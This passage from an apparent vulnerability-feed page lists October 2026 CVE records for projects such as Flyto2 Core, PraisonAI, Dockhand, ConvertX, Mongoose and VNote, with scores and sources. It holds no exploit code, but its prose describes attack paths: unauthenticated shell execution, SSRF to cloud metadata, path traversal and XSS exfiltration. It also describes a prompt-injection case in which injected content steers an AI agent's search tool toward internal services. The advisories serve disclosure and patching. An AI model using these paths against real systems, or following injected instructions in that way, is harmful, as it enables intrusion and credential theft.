NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55786&date=2026-10-25
Flyto2 Core is an execution kernel for automation and AI-agent workflows. From 2.26.2 until 2.26.4, the HTTP MCP POST /mcp route accepts unauthenticated JSON-RPC tools/call requests and forwards execute_module arguments to the module registry without the require_auth dependency used by the REST execution routes. An unauthenticated caller can select sandbox.execute_shell and supply its command parameter, which reaches asyncio.create_subprocess_shell with the privileges of the flyto-core server process. The endpoint is reachable locally under the default loopback binding and becomes network reachable when an operator binds the server to a non-loopback interface, allowing arbitrary OS command execution and potential full host compromise. This issue is fixed in version 2.26.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Flyto2 Core is an execution kernel for automation and AI-agent workflows.
https://kevwire.com/record/CVE-2026-55787
Flyto2 Core is an execution kernel for automation and AI-agent workflows. (Oct 14, 2026).
Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.3, validate_url_ssrf and is_private_ip in src/core/utils.py compare resolved addresses only against native private IPv4 and IPv6 ranges and do not unwrap IPv4-mapped, IPv4-compatible, 6to4, or NAT64 transition addresses. An authenticated workflow author can provide a transition-form literal URL through the Execution API POST /v1/execute route, http.get, or sibling guarded outbound-request modules, causing the guard to accept an address whose embedded IPv4 points to loopback, RFC 1918, or cloud metadata services. On a host that routes the selected transition form, the outbound request reaches the internal destination and returns the response body to the workflow caller, enabling read SSRF and disclosure of internal-service data or cloud credentials. This issue is fixed in version 2.26.3.
CVSS 7.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55787).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55787&date=2026-10-25).
Sources:
NVD CVE-2026-55787: https://nvd.nist.gov/vuln/detail/CVE-2026-55787
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55787&date=2026-10-25
Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.3, validate_url_ssrf and is_private_ip in src/core/utils.py compare resolved addresses only against native private IPv4 and IPv6 ranges and do not unwrap IPv4-mapped, IPv4-compatible, 6to4, or NAT64 transition addresses. An authenticated workflow author can provide a transition-form literal URL through the Execution API POST /v1/execute route, http.get, or sibling guarded outbound-request modules, causing the guard to accept an address whose embedded IPv4 points to loopback, RFC 1918, or cloud metadata services. On a host that routes the selected transition form, the outbound request reaches the internal destination and returns the response body to the workflow caller, enabling read SSRF and disclosure of internal-service data or cloud credentials. This issue is fixed in version 2.26.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-57143
PraisonAI is a multi-agent teams system. (Oct 12, 2026).
PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.62, searxng_search and the search_web SearxNG provider pass the LLM-controlled searxng_url parameter directly to requests.get without validating its scheme, host, port, or resolved address. Prompt-injected content can direct the default search tool to internal JSON services, distinguish open and closed internal ports, and attempt cloud-metadata requests, with returned JSON results entering agent context. This issue is fixed in praisonaiagents 1.6.62.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57143).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57143&date=2026-10-25).
Sources:
NVD CVE-2026-57143: https://nvd.nist.gov/vuln/detail/CVE-2026-57143
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57143&date=2026-10-25
PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.62, searxng_search and the search_web SearxNG provider pass the LLM-controlled searxng_url parameter directly to requests.get without validating its scheme, host, port, or resolved address. Prompt-injected content can direct the default search tool to internal JSON services, distinguish open and closed internal ports, and attempt cloud-metadata requests, with returned JSON results entering agent context. This issue is fixed in praisonaiagents 1.6.62.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dockhand is a Docker management application.
https://kevwire.com/record/CVE-2026-57169
Dockhand is a Docker management application. (Oct 16, 2026).
Dockhand is a Docker management application. Prior to 1.0.34, the in-browser container terminal endpoint /api/containers/<id>/exec does not enforce authentication on the WebSocket upgrade request. When an unauthenticated attacker has network reach to Dockhand, knows a target container ID, and targets a container with an interactive shell, the attacker can open a raw WebSocket terminal session and execute commands inside a known target container. This allows unauthenticated command execution inside the container, with possible host compromise when the container has sensitive mounts or privileged execution. This issue is fixed in version 1.0.34.
CVSS 9.6 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57169).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57169&date=2026-10-25).
Sources:
NVD CVE-2026-57169: https://nvd.nist.gov/vuln/detail/CVE-2026-57169
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57169&date=2026-10-25
Dockhand is a Docker management application. Prior to 1.0.34, the in-browser container terminal endpoint /api/containers/<id>/exec does not enforce authentication on the WebSocket upgrade request. When an unauthenticated attacker has network reach to Dockhand, knows a target container ID, and targets a container with an interactive shell, the attacker can open a raw WebSocket terminal session and execute commands inside a known target container. This allows unauthenticated command execution inside the container, with possible host compromise when the container has sensitive mounts or privileged execution. This issue is fixed in version 1.0.34.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ConvertX is a self-hosted file conversion service.
https://kevwire.com/record/CVE-2026-59976
ConvertX is a self-hosted file conversion service. (Oct 12, 2026).
ConvertX is a self-hosted file conversion service. Prior to 0.18.0, the ImageMagick converter uses the unsanitized convert_to parameter to construct an output path. If an authenticated user, or an unauthenticated user when ConvertX is configured to allow unauthenticated access, uploads an extensionless image and supplies directory traversal sequences in convert_to through /convert, the constructed path escapes the intended output directory, allowing the attacker to write converted output to arbitrary container paths, potentially overwriting files or causing denial of service. This issue is fixed in version 0.18.0.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-59976).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-59976&date=2026-10-25).
Sources:
NVD CVE-2026-59976: https://nvd.nist.gov/vuln/detail/CVE-2026-59976
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-59976&date=2026-10-25
ConvertX is a self-hosted file conversion service. Prior to 0.18.0, the ImageMagick converter uses the unsanitized convert_to parameter to construct an output path. If an authenticated user, or an unauthenticated user when ConvertX is configured to allow unauthenticated access, uploads an extensionless image and supplies directory traversal sequences in convert_to through /convert, the constructed path escapes the intended output directory, allowing the attacker to write converted output to arbitrary container paths, potentially overwriting files or causing denial of service. This issue is fixed in version 0.18.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ConvertX is a self-hosted file conversion service.
https://kevwire.com/record/CVE-2026-59977
ConvertX is a self-hosted file conversion service. (Oct 12, 2026).
ConvertX is a self-hosted file conversion service. Prior to 0.18.0, the /delete/{id} endpoint uses HTTP GET for permanent deletion without CSRF protection. If an authenticated user visits attacker-controlled content that requests /delete/{id}, the browser sends the user session cookie and the request deletes the targeted job, resulting in unauthorized loss of converted-file history. This issue is fixed in version 0.18.0.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-59977).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-59977&date=2026-10-25).
Sources:
NVD CVE-2026-59977: https://nvd.nist.gov/vuln/detail/CVE-2026-59977
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-59977&date=2026-10-25
ConvertX is a self-hosted file conversion service. Prior to 0.18.0, the /delete/{id} endpoint uses HTTP GET for permanent deletion without CSRF protection. If an authenticated user visits attacker-controlled content that requests /delete/{id}, the browser sends the user session cookie and the request deletes the targeted job, resulting in unauthorized loss of converted-file history. This issue is fixed in version 0.18.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WebCTI service for Slican IPx telephone exchanges is vulnerable to SQL Injection in /webcti/admin_json.php enpoint.
https://kevwire.com/record/CVE-2026-63314
WebCTI service for Slican IPx telephone exchanges is vulnerable to SQL Injection in /webcti/admin_json.php enpoint. (Oct 15, 2026).
WebCTI service for Slican IPx telephone exchanges is vulnerable to SQL Injection in /webcti/admin_json.php enpoint. Improper neutralization of input allows an authenticated attacker to execute SQL Injection attacks.


This issue was fixed in IPx series version 6.62.0100.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63314).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63314&date=2026-10-25).
Sources:
NVD CVE-2026-63314: https://nvd.nist.gov/vuln/detail/CVE-2026-63314
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63314&date=2026-10-25
WebCTI service for Slican IPx telephone exchanges is vulnerable to SQL Injection in /webcti/admin_json.php enpoint. Improper neutralization of input allows an authenticated attacker to execute SQL Injection attacks.


This issue was fixed in IPx series version 6.62.0100.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WebCTI service for Slican IPx telephone exchanges stores temporary subscriber password in plaintext.
https://kevwire.com/record/CVE-2026-63315
WebCTI service for Slican IPx telephone exchanges stores temporary subscriber password in plaintext. (Oct 15, 2026).
WebCTI service for Slican IPx telephone exchanges stores temporary subscriber password in plaintext. An attacker with access to the database can obtain the user's password and log in to the subscriber's account.



This issue was fixed in IPx series version 6.62.0100.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63315).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63315&date=2026-10-25).
Sources:
NVD CVE-2026-63315: https://nvd.nist.gov/vuln/detail/CVE-2026-63315
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63315&date=2026-10-25
WebCTI service for Slican IPx telephone exchanges stores temporary subscriber password in plaintext. An attacker with access to the database can obtain the user's password and log in to the subscriber's account.



This issue was fixed in IPx series version 6.62.0100.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A SQL injection vulnerability has been identified in Payload CMS.
https://kevwire.com/record/CVE-2026-63316
A SQL injection vulnerability has been identified in Payload CMS. (Oct 13, 2026).
A SQL injection vulnerability has been identified in Payload CMS. Improper neutralization of input provided by user into "in" and "not_in" query paramethers allows an authenticated attacker to perform SQL Injection attacks.

This issue was fixed in version 3.90.0 and 4.0.0-canary.34.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63316).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63316&date=2026-10-25).
Sources:
NVD CVE-2026-63316: https://nvd.nist.gov/vuln/detail/CVE-2026-63316
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63316&date=2026-10-25
A SQL injection vulnerability has been identified in Payload CMS. Improper neutralization of input provided by user into "in" and "not_in" query paramethers allows an authenticated attacker to perform SQL Injection attacks.

This issue was fixed in version 3.90.0 and 4.0.0-canary.34.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mongoose is an embedded web server and network library.
https://kevwire.com/record/CVE-2026-63626
Mongoose is an embedded web server and network library. (Oct 14, 2026).
Mongoose is an embedded web server and network library. Prior to 7.23, ppp_handle_ipv6cp() in src/l2_ppp.c trusts the 16-bit IPv6CP len field without checking it against the received payload size. On a PPP or PPPoE link using MG_ENABLE_TCPIP and MG_ENABLE_IPV6, an unauthenticated adjacent peer can complete the required LCP exchange and send a short Configure-Request with an oversized length, causing ppp_tx_frame() to read beyond recv_queue.buf and write beyond tx.buf. The same length misuse can also expose adjacent heap bytes in a reply or hang the event loop through find_opt(). This issue is fixed in version 7.23.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63626).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63626&date=2026-10-25).
Sources:
NVD CVE-2026-63626: https://nvd.nist.gov/vuln/detail/CVE-2026-63626
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63626&date=2026-10-25
Mongoose is an embedded web server and network library. Prior to 7.23, ppp_handle_ipv6cp() in src/l2_ppp.c trusts the 16-bit IPv6CP len field without checking it against the received payload size. On a PPP or PPPoE link using MG_ENABLE_TCPIP and MG_ENABLE_IPV6, an unauthenticated adjacent peer can complete the required LCP exchange and send a short Configure-Request with an oversized length, causing ppp_tx_frame() to read beyond recv_queue.buf and write beyond tx.buf. The same length misuse can also expose adjacent heap bytes in a reply or hang the event loop through find_opt(). This issue is fixed in version 7.23.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PHPCSUtils is a suite of utility functions for use with PHP_CodeSniffer.
https://kevwire.com/record/CVE-2026-65954
PHPCSUtils is a suite of utility functions for use with PHP_CodeSniffer. (Oct 12, 2026).
PHPCSUtils is a suite of utility functions for use with PHP_CodeSniffer. From 1.0.0-alpha1 until 1.2.3, PHPCSUtils\AbstractSniffs\AbstractArrayDeclarationSniff::getActualArrayKey() evaluates attacker-controlled array-key expressions with eval(), allowing callback-form keys in untrusted PHP code scanned by an extending sniff to execute arbitrary commands on the scanning host. Known reachable paths include Universal.Arrays.DuplicateArrayKey and Universal.Arrays.MixedArrayKeyTypes. This issue is fixed in version 1.2.3.
CVSS 8.6 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65954).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65954&date=2026-10-25).
Sources:
NVD CVE-2026-65954: https://nvd.nist.gov/vuln/detail/CVE-2026-65954
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65954&date=2026-10-25
PHPCSUtils is a suite of utility functions for use with PHP_CodeSniffer. From 1.0.0-alpha1 until 1.2.3, PHPCSUtils\AbstractSniffs\AbstractArrayDeclarationSniff::getActualArrayKey() evaluates attacker-controlled array-key expressions with eval(), allowing callback-form keys in untrusted PHP code scanned by an extending sniff to execute arbitrary commands on the scanning host. Known reachable paths include Universal.Arrays.DuplicateArrayKey and Universal.Arrays.MixedArrayKeyTypes. This issue is fixed in version 1.2.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session.
https://kevwire.com/record/CVE-2026-68907
libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. (Oct 16, 2026).
libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. Prior to 1.6.2, checkDataSetAccess reverses the source and destination arguments to StringUtils_copyStringToBuffer while constructing an MMS_ASSOCIATION_SPECIFIC dataset reference. The helper treats uninitialized dataSetRef[130] storage as a source string, causing strlen to read beyond the stack buffer, and then copies those bytes into the caller-owned listName buffer. A remote defineNamedVariableList request can crash servers that have dynamic dataset service enabled and a dataset access handler installed; the advisory also observes caller stack corruption but establishes denial of service as the primary impact. This issue is fixed in version 1.6.2.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-68907).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-68907&date=2026-10-25).
Sources:
NVD CVE-2026-68907: https://nvd.nist.gov/vuln/detail/CVE-2026-68907
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-68907&date=2026-10-25
libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. Prior to 1.6.2, checkDataSetAccess reverses the source and destination arguments to StringUtils_copyStringToBuffer while constructing an MMS_ASSOCIATION_SPECIFIC dataset reference. The helper treats uninitialized dataSetRef[130] storage as a source string, causing strlen to read beyond the stack buffer, and then copies those bytes into the caller-owned listName buffer. A remote defineNamedVariableList request can crash servers that have dynamic dataset service enabled and a dataset access handler installed; the advisory also observes caller stack corruption but establishes denial of service as the primary impact. This issue is fixed in version 1.6.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenAEV is an open source platform allowing organizations to plan, schedule and conduct cyber adversary simulation campaign and tests.
https://kevwire.com/record/CVE-2026-71854
OpenAEV is an open source platform allowing organizations to plan, schedule and conduct cyber adversary simulation campaign and tests. (Oct 14, 2026).
OpenAEV is an open source platform allowing organizations to plan, schedule and conduct cyber adversary simulation campaign and tests. Prior to version 2.260622.0, on a default installation, the `/api/player/**` lessons endpoints can be called without authentication, and they trust a client-supplied `userId` query parameter without verifying that the caller is that user or a member of the exercise. An unauthenticated client that knows an exercise UUID can read lessons-learned questions and answers (including each answer's author identity) and create or overwrite answers attributed to an arbitrary user. Version 2.260622.0 contains a patch.
CVSS 8.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-71854).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-71854&date=2026-10-25).
Sources:
NVD CVE-2026-71854: https://nvd.nist.gov/vuln/detail/CVE-2026-71854
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-71854&date=2026-10-25
OpenAEV is an open source platform allowing organizations to plan, schedule and conduct cyber adversary simulation campaign and tests. Prior to version 2.260622.0, on a default installation, the `/api/player/**` lessons endpoints can be called without authentication, and they trust a client-supplied `userId` query parameter without verifying that the caller is that user or a member of the exercise. An unauthenticated client that knows an exercise UUID can read lessons-learned questions and answers (including each answer's author identity) and create or overwrite answers attributed to an arbitrary user. Version 2.260622.0 contains a patch.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mongoose is an embedded web server and network library.
https://kevwire.com/record/CVE-2026-73252
Mongoose is an embedded web server and network library. (Oct 14, 2026).
Mongoose is an embedded web server and network library. Prior to 7.23, the built-in TLS stack selected by MG_TLS_BUILTIN in src/tls_builtin.c accepts a TLS 1.3 record whose decrypted size is exactly the 16-byte authentication tag with no plaintext or ContentType byte. In mg_tls_recv_record(), the msgsz length check permits that record and the recv_len calculation underflows to SIZE_MAX, so a later handshake step treats stale buffer contents as a trusted message with an effectively unbounded length. An unauthenticated malicious TLS peer can trigger a heap out-of-bounds read before certificate or Finished validation, causing a remote denial of service. This issue is fixed in version 7.23.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-73252).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73252&date=2026-10-25).
Sources:
NVD CVE-2026-73252: https://nvd.nist.gov/vuln/detail/CVE-2026-73252
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73252&date=2026-10-25
Mongoose is an embedded web server and network library. Prior to 7.23, the built-in TLS stack selected by MG_TLS_BUILTIN in src/tls_builtin.c accepts a TLS 1.3 record whose decrypted size is exactly the 16-byte authentication tag with no plaintext or ContentType byte. In mg_tls_recv_record(), the msgsz length check permits that record and the recv_len calculation underflows to SIZE_MAX, so a later handshake step treats stale buffer contents as a trusted message with an effectively unbounded length. An unauthenticated malicious TLS peer can trigger a heap out-of-bounds read before certificate or Finished validation, causing a remote denial of service. This issue is fixed in version 7.23.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mongoose is an embedded web server and network library.
https://kevwire.com/record/CVE-2026-73261
Mongoose is an embedded web server and network library. (Oct 14, 2026).
Mongoose is an embedded web server and network library. Prior to 7.23, the built-in TCP/IP stack enabled by MG_ENABLE_TCPIP in src/net_builtin.c does not reject a TCP option whose declared opts[1] length exceeds the remaining option bytes. In handle_opt(), a NOP followed by a truncated MSS option causes opts[3] to be read outside the declared options area and used as the low byte of dmss. An unauthenticated remote peer can corrupt the per-connection MSS value so later mg_send() calls transmit truncated or zero-length application payloads while the TCP connection otherwise appears healthy. This issue is fixed in version 7.23.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-73261).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73261&date=2026-10-25).
Sources:
NVD CVE-2026-73261: https://nvd.nist.gov/vuln/detail/CVE-2026-73261
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73261&date=2026-10-25
Mongoose is an embedded web server and network library. Prior to 7.23, the built-in TCP/IP stack enabled by MG_ENABLE_TCPIP in src/net_builtin.c does not reject a TCP option whose declared opts[1] length exceeds the remaining option bytes. In handle_opt(), a NOP followed by a truncated MSS option causes opts[3] to be read outside the declared options area and used as the low byte of dmss. An unauthenticated remote peer can corrupt the per-connection MSS value so later mg_send() calls transmit truncated or zero-length application payloads while the TCP connection otherwise appears healthy. This issue is fixed in version 7.23.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FrankenPHP is a modern application server for PHP.
https://kevwire.com/record/CVE-2026-82416
FrankenPHP is a modern application server for PHP. (Oct 13, 2026).
FrankenPHP is a modern application server for PHP. Prior to 1.12.5, FrankenPHP worker mode can retain PHP session state between requests when the session extension is loaded as a shared module and is unavailable through HAVE_PHP_SESSION at compile time. In this build configuration, frankenphp_reset_session_state() is compiled out, PS(id) can survive a request boundary, and a subsequent session_start() can ignore the new request's cookie because an identifier is already present. Under concurrent requests, session_id() can therefore return another client's identifier or a stale identifier from a previous request on the same worker thread, causing cross-user session exposure, possible session hijacking, and intermittent logout behavior. Builds with the session extension statically linked, including the official static binaries and Docker images, are not affected. This issue is fixed in version 1.12.5.
CVSS 7.7 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-82416).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82416&date=2026-10-25).
Sources:
NVD CVE-2026-82416: https://nvd.nist.gov/vuln/detail/CVE-2026-82416
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82416&date=2026-10-25
FrankenPHP is a modern application server for PHP. Prior to 1.12.5, FrankenPHP worker mode can retain PHP session state between requests when the session extension is loaded as a shared module and is unavailable through HAVE_PHP_SESSION at compile time. In this build configuration, frankenphp_reset_session_state() is compiled out, PS(id) can survive a request boundary, and a subsequent session_start() can ignore the new request's cookie because an identifier is already present. Under concurrent requests, session_id() can therefore return another client's identifier or a stale identifier from a previous request on the same worker thread, causing cross-user session exposure, possible session hijacking, and intermittent logout behavior. Builds with the session extension statically linked, including the official static binaries and Docker images, are not affected. This issue is fixed in version 1.12.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### VNote is a note-taking platform.
https://kevwire.com/record/CVE-2026-86016
VNote is a note-taking platform. (Oct 13, 2026).
VNote is a note-taking platform. Prior to 4.3.0, VNote uses the assignment `preNode.innerHTML = p_metaData` in src/data/extra/web/js/markdownit.js to insert YAML frontmatter metadata into a pre element before the protectFromXss sanitization path runs. Opening an attacker-supplied Markdown note can therefore execute stored JavaScript in the file:// viewer context. Because QWebEngineSettings::LocalContentCanAccessRemoteUrls enables local content to access remote URLs, the script can read reachable local note files and transmit their contents to a remote server without further interaction after the note is opened. This issue is fixed in version 4.3.0.
CVSS 8.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86016).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86016&date=2026-10-25).
Sources:
NVD CVE-2026-86016: https://nvd.nist.gov/vuln/detail/CVE-2026-86016
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86016&date=2026-10-25
